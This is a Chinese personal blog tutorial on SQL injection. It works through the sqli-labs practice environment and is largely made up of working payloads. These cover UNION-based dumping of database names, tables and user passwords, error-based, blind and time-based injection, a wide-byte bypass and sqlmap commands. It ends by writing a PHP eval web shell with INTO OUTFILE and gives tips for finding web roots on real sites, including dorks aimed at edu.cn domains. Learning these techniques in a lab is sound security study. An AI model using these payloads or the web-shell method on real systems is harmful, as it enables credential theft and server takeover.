我男神,他tql,他已经不是小学生了hhhh
小学生Tony的个人空间
前言
1.(问题已修复)由于在md里打出两个减号会显示–
所以这里用减号空格减号代替:- -
实际操作要去掉那个空格
修复方法:在 --的前面打一个空格
2. %27是单引号
%20是空格
0x7e=’~’
0x3a=’:’
3.如果不想写单引号,可以用0x+转换成的16进制来替代
什么是SQL注入?
SQL注入其实就是恶意用户通过在表单中填写包含SQL关键字的数据来使数据库执行非常规代码的过程。
如果我们在数据项中加入了某些SQL语句关键字(比如说SELECT、DROP等等),这些关键字就很可能在数据库写入或读取数据时得到执行。
大家也许都听过外国熊孩子通过攻击学校数据库修改自己成绩的事情,这一般用的就是SQL注入方法。
原版是PHP5的,PHP7不支持,有个外国老哥帮我们改成支持PHP版本的了,网址如下
https://github.com/Rinkish/Sqli_Edited_Version
安装:把文件夹放在PHPstudy的WWW里面,
找到WWW\sqlilabs\sql-connections里的db-creds.inc,
右键编辑,
找到这两行信息并修改
$dbuser =‘你的数据库账户’;
$dbpass =‘你的密码’;
打开http://localhost/sqlilabs/
点击第二行的Setup/reset Database for labs
出现这样的页面
然后查看数据库,发现多出来了两个数据库,一个叫challenges,一个叫security。
欧耶!成了!
这是第一关
接下来,我们以第一题为例,讲一个SQL注入的过程
“那么,接下来,咱们正式开始哈。
首先我先告诉大家结论啊,怎么判断有没有注入呢,你呢,在这加个引号,直接敲回车,诶,没问题,对吧。
其实我要告诉大家一点啊,这里是我的环境问题,为什么呢?我刚才敲的是一个中文字符。
那么现在,怎么办呢?我们把它换成一个英文的符号,啊,一个英文的符号。
咱们再来看哈,再来看,现在是不是直接就报错了,对不对?
所以说大家注意啊,只要是看到报错,你可以理解为,这个注入我们已经确定了,为什么?
因为我们输的这个单引号,最终在执行SQL的时候,已经产生了注入。
OK?为什么。SQL执行报错了,对不对?所以说白了,我们传入这个分号,已经被当成参数到了数据库了!
而分号的缺失,是最终导致我们数据库报错的根本原因!”
引自 ————https://www.bilibili.com/video/BV1ma4y1t71M
好吧,现在我们重新来看一下
原SQL语句
SELECT * FROM users WHERE id='1' LIMIT 0,1
id的类型是字符,而加了一个单引号,变成
SELECT * FROM users WHERE id='1'' LIMIT 0,1
用户输入的i’,自然会报错了,
在mysql里,单行注释为 ’ --’,
于是我们向后台传入id=1’ --试一下,
发现报错,为什么?因为在单行注释后面要有一个空格,
这时候在后面输入一个加号,
+到了后台就解释成了一个空格,
长这样:
http://localhost/sqlilabs/Less-1/index.php?id=1%27 --+
SELECT * FROM users WHERE id='1'-- ' LIMIT 0,1
后面被注释掉了。
下一步,用ORDER BY+数字 来判断字段个数
对要查询的字段中的第二个字段排序(默认升序)
select a,b
from table
order by 2 ;
相当于:
select a,b
from table
order by b ;
SELECT * FROM users WHERE id='1' ORDER BY 1 -- ' LIMIT 0,1
SELECT * FROM users WHERE id='1' ORDER BY 2 -- ' LIMIT 0,1
SELECT * FROM users WHERE id='1' ORDER BY 3 -- ' LIMIT 0,1
SELECT * FROM users WHERE id='1' ORDER BY 4 -- ' LIMIT 0,1
发现在order by 4 的时候报错,说明有三个字段
接下来使用联合查询就可以看到数据
SELECT * FROM users WHERE id='1' UNION SELECT 1,2,3-- ' LIMIT 0,1
这样能查询到一行数据,因为我们左边的查询是有结果的
如果不管,我们前面就显示不出东西
要让它不再出现那个Dumb,我们把这个id等于的1改成一个查询不到的数据
比如-1 或 -10000 或 a
然后在这里用联合查询报显示位
SELECT * FROM users WHERE id='-1' UNION SELECT 1,2,3-- ' LIMIT 0,1
http://localhost/sqlilabs/Less-1/index.php?id=-1%27UNION%20SELECT%201,2,3 --+
CONCAT('XX','XX');
CONCAT_WA('链接符','XX','XX');
SELECT id,group_concat(name) from XX group by id
以id为分组,把name字段的值打印在一行
这样,比如说用2的位置
SELECT * FROM users WHERE id='-1' UNION SELECT 1,SELECT CONCAT_WA('链接符','XX','XX');,3-- ' LIMIT 0,1
都可以查什么?
database() -- 当前数据库
version() -- 数据库版本
user() -- 当前用户
...
长这样
http://localhost/sqlilabs/Less-1/index.php?id=-1%27UNION%20SELECT%201,concat(database(),user()),3 --+
现在
停一下,讲一下
information_schema
这个特殊的数据库
在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。
总结,这是一个简单的信息数据库
里面都是视图,不是表,所以莫得具体文件
information_schema简单说明
从另一个方面来看, datadir
这是一个mysql定义好的变量,用来查看数据库服务器的数据目录
会发现里面没有information_schema
select @@datadir;
在information_schema中
有几个个可以注意一下
COLUMNS
SCHEMATA
TABLES
SCHEMATA记录了数据库信息:
schema_name 数据库名
TABLES记录了数据库和表的关系:
schema_name 数据库名
table _name 表名
COLUMNS记录了表和列的关系:
column_name 列名
table _name 表名
了解了这些之后
是时候开始了
先看有哪些数据库
http://localhost/sqlilabs/Less-1/index.php?id=-1%27UNION%20SELECT%201,group_concat(schema_name),3%20from%20information_schema.schemata --+
再看security数据库里有哪些表
http://localhost/sqlilabs/Less-1/index.php?id=-1%27UNION%20SELECT%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27%20 --+
http://localhost/sqlilabs/Less-1/index.php?id=-1’UNION SELECT
1,group_concat(column_name),3 from information_schema.columns where
table_name=‘users’ and table_schema=‘security’ --+
接下来查数据(账号密码)
select 列名 from 表名 where 条件
0x3a 表示冒号:
http://localhost/sqlilabs/Less-1/index.php?id=-1%27UNION%20SELECT%201,group_concat(id,0x3a,username,0x3a,password),3%20from%20users%20 --+
总结
http://localhost/sqlilabs/Less-1/index.php?id=-1’UNION SELECT 1,group_concat(schema_name),3 from information_schema.schemata --+
http://localhost/sqlilabs/Less-1/index.php?id=-1’UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ --+
http://localhost/sqlilabs/Less-1/index.php?id=-1’UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+
http://localhost/sqlilabs/Less-1/index.php?id=-1’UNION SELECT 1,group_concat(id,0x3a,username,0x3a,password),3 from users --+
information_schema库的 schemata表保存了所有数据库的名称 schemata_name,
tables表保存了所有的表名 table_name列对应数据库名table_scema,
columns表保存了所有字段名column_name列对应表名table_name和数据库名table_shcema。
传统功夫,点到为止
一个条件:当前数据库用户必须为root用户
确定用户:user()
回显为root@就行
只需要加上 where table_name = XX
或XX.YY
(另一个数据库中的列)
判断注入
1.加单引号,报错
2.加’ and 1=1 ,报错
3.加’ and 1=1# ,不报错
4.加’ and 1=2# ,报错
闭合前面单引号,注释后面单引号
select * from news where title='xxxx';
select * from news where title='xxxx' 注入语句 #';
SQL注入之报错注入
当我们遇不到正了八经的回显的时候,我们可以考虑报错注入。
第一个角色登场
extractvalue函数
正了八经的用,它是这样的
extractvalue(xml_document,Xpath_string);
为了从目标xml中返回包含所查询值的字符串
西卡西,第二个参数如果不是合法的xpath语法的字符串,就会报错,还会把查询的结果放到报错里。
于是它变成了
这样
and(select extractvalue("anything",concat('~',(select语句))))
除了~,#或¥或$也不满足xpath语法
extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位
updatexml函数
正了八经的用,它是这样的
updatexml(xml_document,xpath_string,new_value)
改变文档中符合条件的节点的值
1,3参数是string类型,2参数是xpath类型
同上利用
id='and(select updatexml("anything",concat('~',(select语句())),"anything"))
这里注意一下,使用的是select,别顺手打个union了
然后是 limit 0,1
limit 1,1
limit 2,1
一次一次弄很麻烦
可以用burp的intruder来爆,就很爽
第二个角色
原理建议到上面的链接看(笑容逐渐消失)
大意是 主键重复
直接展示形式
1 Union select count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
1 Union select count(*),concat((select column_name from
information_schema.columns where table_schema=‘sqli’ and
table_name=‘flag’ limit 0,1),0x26,floor(rand(0)*2))x from
information_schema.columns group by x
1 Union select count(*),concat((select flag from flag limit
0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x
多种请求方式注入
不止是GET
POST:sqlilabs Less11
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
只需要在登录框中写入查询语句即可
-1' union select 1,2 #
COOKIE:ctfhub
用burp
打开代理
抓包,在cookie里写入注入语句
mdzz,这次竟然不是flag表里的flag列了(爷青结)
HTTP头注入
如果User-Agent这里有一个sql语句,就可以进行注入
如果referer里有一个sql语句,也可以进行注入
搜索型注入
select * from XX where XX like id='%XX%'
%’ 注入语句’%
有时候,传入网站的参数要经过加密
base64,md5或是自己写的……
如base64加解密函数 baes64_encode(),baes64_decode()
所以我们可以把语句加密再传入
属于绕过方法,可以参考sql注入绕过方法总结
有时候我们传入的'
会被替换为\'
(使用了addslashes()函数或是开启了php中magic_quotes_gpc函数)
字符覆盖
希腊字母β(%df)占2字节,可以把\覆盖掉
如 id=-1%df%27 union select 1,2
原理与报错注入相似
还是利用updatexml和extractvalue
?id=1&name=ginger&password='or updataxml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),0) or'
updata 同理
delete有、不同,如果是整型的
payload
?id=1 or updataxml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),0) or''
最后手动闭合单引号,或者把or’'去了,而且id=1的兄弟没有被删除
我寻思用报错注入不行吗?
好像有时候还真不行。
盲注是去一个一个猜,效率低但“应用”广
报错能直接获取,很爽但“应用”窄一些
比如说连报错提示都没有的时候
以sqllabs第五题为例
第一步
先判断一下是字符型
然后获取当前数据库
获取名字长度,需要length()函数
length(database())=1
length(database())=2
length(database())=3
length(database())=4
length(database())=5
length(database())=6
length(database())=7
length(database())=8
芜湖!页面正常啦,说明数据库的名字长度为8
太好啦,然后我们再了解一个函数,letf()
函数中有两个参数如果是一个叫security的数据库,那么
left(database(),1)=‘s’
left(database(),2)=‘sc’
left(database(),8)=‘security’
可以用来确认名称,或者确定名称
例如,我们再做一个字典,只有a-z,选择runtimefile,导入字典,不断更换爆破位置,可以进行递进确认函数名
明白原理即可,因为还是很麻烦
太好啦,然后我们再了解两个函数,substr()和ascii()
substr(XYZ,1,1)是X
substr(XYZ,2,1)是Y
substr(XYZ,3,1)是Z
参数1 string 需要截取的字符串
参数2 截取字符串的开始位置(注:0或1时,都是从第一位开始截取)
参数3 要截取的字符串的长度
ascii(substr(XYZ,3,1))=Z的ASCII码
我们可以通过这个对数据库、表、列、名和数据进行爆破
就到了burp的时间了
hhh有点中二
因为我不会写脚本还懒得一个一个弄,所以我选择了sqlmap
(突然发现sqlmap好强,这就是py的力量吗?)
什么?你说真的真的真的什么都不显示?
真的没有爱了……吗?
sleep()函数告诉你:不可能!
爱是存在的!
配合if()进行延时注入
eg:
if(length(database())=8,sleep(5),1)--+
和C语言里的三目运算符X?X:X挺像
如果数据库长度为8,延迟5秒
在kali里直接用
简单的使用方法
-u “URL”
-u “URL” --dbs --batch
-u “URL” -D XX --tables --batch
-u “URL” -D XX -T YY --columns --batch
-u “URL” -D XX -T YY -C ZZ --dump --batch
天天给我时间盲注,所以网一定得好
sqlmap好用,但是必须明白其中原理
目的:发现注入点,还想进一步渗透,写入文件来getshell
写入PHP EVAL一句话木马
eval("$_POST["pass"]") ?>
咋传到mysql呢?
这里有个前提,我们的木马要允许被上传
首先mysql高版本是不让传的
这时设置
secure_file_priv = (空)就行
怎么设置呢?
secure_file_priv可以通过mysql的日态文件进行绕过,但又有一个前提,网站必须开启日态功能,如果没有开启,我们就必须有一个执行sql语句的地方。
以labs第七关为例
分析sql语句
select * from users where id=(('$id'))
我们可以让id=’)) --+ 变成
select * from users where id=(('')) SQL INJECTION--+))
但是还没反应。
我们可以写一个文件写入语句(注意单引号)(路径用两个斜杠,有个转义)
union select 1,'',3 into outfile 'D:\\PHP\\WWW\\shell.php'
完成,打开中国蚁剑
下载地址
添加数据,密码为刚刚的pass
测试连接,成功后添加,oj8k
在这种情况下,我们知道网站的根目录,可是现实中我们怎么得到网站的根目录呢?
1.通过错误爆路径
inurl:php warning
inurl:edu.cn warning
2.通过对方网站遗留文件爆路径
phpinfo.php如果没删除,可以找到路径
3.通过漏洞爆路径
discuz
自行百度
4.通过对方web服务器类型猜路径
比如说
IIS:\inetpub\wwwroot
PHPStudy2020:\phpstudy_pro\WWW
拿到一个注入点,只要爆出来路径,并且secure_file_priv为空,即可写入文件getshell